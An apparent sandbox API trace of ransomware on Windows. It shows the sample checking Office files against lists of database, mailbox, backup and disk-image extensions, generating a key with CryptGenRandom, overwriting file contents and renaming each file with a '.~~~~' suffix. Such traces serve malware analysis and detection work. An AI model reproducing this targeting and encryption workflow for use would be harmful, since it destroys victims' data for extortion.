	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.583] lstrlenW (lpString=".PST") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.583] lstrlenW (lpString=".dbf") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.583] lstrlenW (lpString=".SQL") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.583] lstrlenW (lpString=".pst") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.583] lstrlenW (lpString=".dbv") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.583] lstrlenW (lpString=".SDF") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.583] lstrlenW (lpString=".dtxs") returned 5
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.583] lstrlenW (lpString=".db3") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.583] lstrlenW (lpString=".OST") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.583] lstrlenW (lpString=".dbx") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.584] lstrlenW (lpString=".DB3") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.584] lstrlenW (lpString=".DAT") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.584] lstrlenW (lpString=".VHDX") returned 5
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.584] lstrlenW (lpString=".ndf") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.584] lstrlenW (lpString=".DB") returned 3
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.584] lstrlenW (lpString=".sql") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.584] lstrlenW (lpString=".MYD") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.584] lstrlenW (lpString=".DBT") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.584] lstrlenW (lpString=".ACCDB") returned 6
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.584] lstrlenW (lpString=".fdb") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.584] lstrlenW (lpString=".bak") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.584] lstrlenW (lpString=".myd") returned 4
	[0145.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.585] lstrlenW (lpString=".DTXS") returned 5
	[0145.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.585] lstrlenW (lpString=".ckp") returned 4
	[0145.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.585] lstrlenW (lpString=".dbt") returned 4
	[0145.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.585] lstrlenW (lpString=".db") returned 3
	[0145.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".db") returned 0x0
	[0145.585] lstrlenW (lpString=".TXT") returned 4
	[0145.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.585] lstrlenW (lpString=".MDF") returned 4
	[0145.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.585] lstrlenW (lpString=".bdb") returned 4
	[0145.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.585] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.585] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3956b8) returned 1
	[0145.587] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.587] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.587] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26557714079) returned 1
	[0145.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc02d7a70, dwHighDateTime=0x1d60e1e)) 
	[0145.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3802a8
	[0145.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3802a8 | out: hHeap=0x300000) returned 1
	[0145.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6c68
	[0145.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.588] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.588] GetLastError () returned 0x0
	[0145.589] GetLastError () returned 0x0
	[0145.589] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.589] GetLastError () returned 0x0
	[0145.589] GetLastError () returned 0x0
	[0145.589] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.591] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.591] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.591] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.591] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.591] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.591] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.592] CloseHandle (hObject=0x138) returned 1
	[0145.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0145.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.~~~~")) returned 1
	[0145.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.595] GetLastError () returned 0x0
	[0145.596] RtlWakeConditionVariable () returned 0x0
	[0145.701] GetCurrentThreadId () returned 0x3a4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".scr") returned 0x0
	[0145.701] lstrlenW (lpString=".cmd") returned 4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".cmd") returned 0x0
	[0145.701] lstrlenW (lpString=".dll") returned 4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dll") returned 0x0
	[0145.701] lstrlenW (lpString=".bat") returned 4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".bat") returned 0x0
	[0145.701] lstrlenW (lpString=".cpl") returned 4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".cpl") returned 0x0
	[0145.701] lstrlenW (lpString=".sys") returned 4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".sys") returned 0x0
	[0145.701] lstrlenW (lpString=".msc") returned 4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".msc") returned 0x0
	[0145.701] lstrlenW (lpString=".com") returned 4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".com") returned 0x0
	[0145.701] lstrlenW (lpString=".lnk") returned 4
	[0145.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".lnk") returned 0x0
	[0145.721] lstrlenW (lpString=".msp") returned 4
	[0145.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".msp") returned 0x0
	[0145.721] lstrlenW (lpString=".pif") returned 4
	[0145.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".pif") returned 0x0
	[0145.721] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0145.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.741] lstrlenW (lpString=".sqb") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".sqb") returned 0x0
	[0145.741] lstrlenW (lpString=".ost") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".ost") returned 0x0
	[0145.741] lstrlenW (lpString=".txt") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".txt") returned 0x0
	[0145.741] lstrlenW (lpString=".mdt") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".mdt") returned 0x0
	[0145.741] lstrlenW (lpString=".BDB") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".BDB") returned 0x0
	[0145.741] lstrlenW (lpString=".eql") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".eql") returned 0x0
	[0145.741] lstrlenW (lpString=".DBF") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DBF") returned 0x0
	[0145.741] lstrlenW (lpString=".EQL") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".EQL") returned 0x0
	[0145.741] lstrlenW (lpString=".FDB") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".FDB") returned 0x0
	[0145.741] lstrlenW (lpString=".EDB") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".EDB") returned 0x0
	[0145.741] lstrlenW (lpString=".DACPAC") returned 7
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DACPAC") returned 0x0
	[0145.741] lstrlenW (lpString=".VHD") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".VHD") returned 0x0
	[0145.741] lstrlenW (lpString=".DBV") returned 4
	[0145.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DBV") returned 0x0
	[0145.742] lstrlenW (lpString=".dacpac") returned 7
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dacpac") returned 0x0
	[0145.742] lstrlenW (lpString=".sdf") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".sdf") returned 0x0
	[0145.742] lstrlenW (lpString=".accdb") returned 6
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".accdb") returned 0x0
	[0145.742] lstrlenW (lpString=".DBX") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DBX") returned 0x0
	[0145.742] lstrlenW (lpString=".MDT") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".MDT") returned 0x0
	[0145.742] lstrlenW (lpString=".SQB") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".SQB") returned 0x0
	[0145.742] lstrlenW (lpString=".vhd") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".vhd") returned 0x0
	[0145.742] lstrlenW (lpString=".bac") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".bac") returned 0x0
	[0145.742] lstrlenW (lpString=".mdf") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".mdf") returned 0x0
	[0145.742] lstrlenW (lpString=".BAK") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".BAK") returned 0x0
	[0145.742] lstrlenW (lpString=".BAC") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".BAC") returned 0x0
	[0145.742] lstrlenW (lpString=".dbs") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dbs") returned 0x0
	[0145.742] lstrlenW (lpString=".vhdx") returned 5
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".vhdx") returned 0x0
	[0145.742] lstrlenW (lpString=".NDF") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".NDF") returned 0x0
	[0145.742] lstrlenW (lpString=".dat") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dat") returned 0x0
	[0145.742] lstrlenW (lpString=".DBS") returned 4
	[0145.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DBS") returned 0x0
	[0145.742] lstrlenW (lpString=".CKP") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".CKP") returned 0x0
	[0145.743] lstrlenW (lpString=".edb") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".edb") returned 0x0
	[0145.743] lstrlenW (lpString=".PST") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".PST") returned 0x0
	[0145.743] lstrlenW (lpString=".dbf") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dbf") returned 0x0
	[0145.743] lstrlenW (lpString=".SQL") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".SQL") returned 0x0
	[0145.743] lstrlenW (lpString=".pst") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".pst") returned 0x0
	[0145.743] lstrlenW (lpString=".dbv") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dbv") returned 0x0
	[0145.743] lstrlenW (lpString=".SDF") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".SDF") returned 0x0
	[0145.743] lstrlenW (lpString=".dtxs") returned 5
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dtxs") returned 0x0
	[0145.743] lstrlenW (lpString=".db3") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".db3") returned 0x0
	[0145.743] lstrlenW (lpString=".OST") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".OST") returned 0x0
	[0145.743] lstrlenW (lpString=".dbx") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dbx") returned 0x0
	[0145.743] lstrlenW (lpString=".DB3") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DB3") returned 0x0
	[0145.743] lstrlenW (lpString=".DAT") returned 4
	[0145.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DAT") returned 0x0
	[0145.743] lstrlenW (lpString=".VHDX") returned 5
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".VHDX") returned 0x0
	[0145.744] lstrlenW (lpString=".ndf") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".ndf") returned 0x0
	[0145.744] lstrlenW (lpString=".DB") returned 3
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DB") returned 0x0
	[0145.744] lstrlenW (lpString=".sql") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".sql") returned 0x0
	[0145.744] lstrlenW (lpString=".MYD") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".MYD") returned 0x0
	[0145.744] lstrlenW (lpString=".DBT") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DBT") returned 0x0
	[0145.744] lstrlenW (lpString=".ACCDB") returned 6
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".ACCDB") returned 0x0
	[0145.744] lstrlenW (lpString=".fdb") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".fdb") returned 0x0
	[0145.744] lstrlenW (lpString=".bak") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".bak") returned 0x0
	[0145.744] lstrlenW (lpString=".myd") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".myd") returned 0x0
	[0145.744] lstrlenW (lpString=".DTXS") returned 5
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".DTXS") returned 0x0
	[0145.744] lstrlenW (lpString=".ckp") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".ckp") returned 0x0
	[0145.744] lstrlenW (lpString=".dbt") returned 4
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".dbt") returned 0x0
	[0145.744] lstrlenW (lpString=".db") returned 3
	[0145.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".db") returned 0x0
	[0145.744] lstrlenW (lpString=".TXT") returned 4
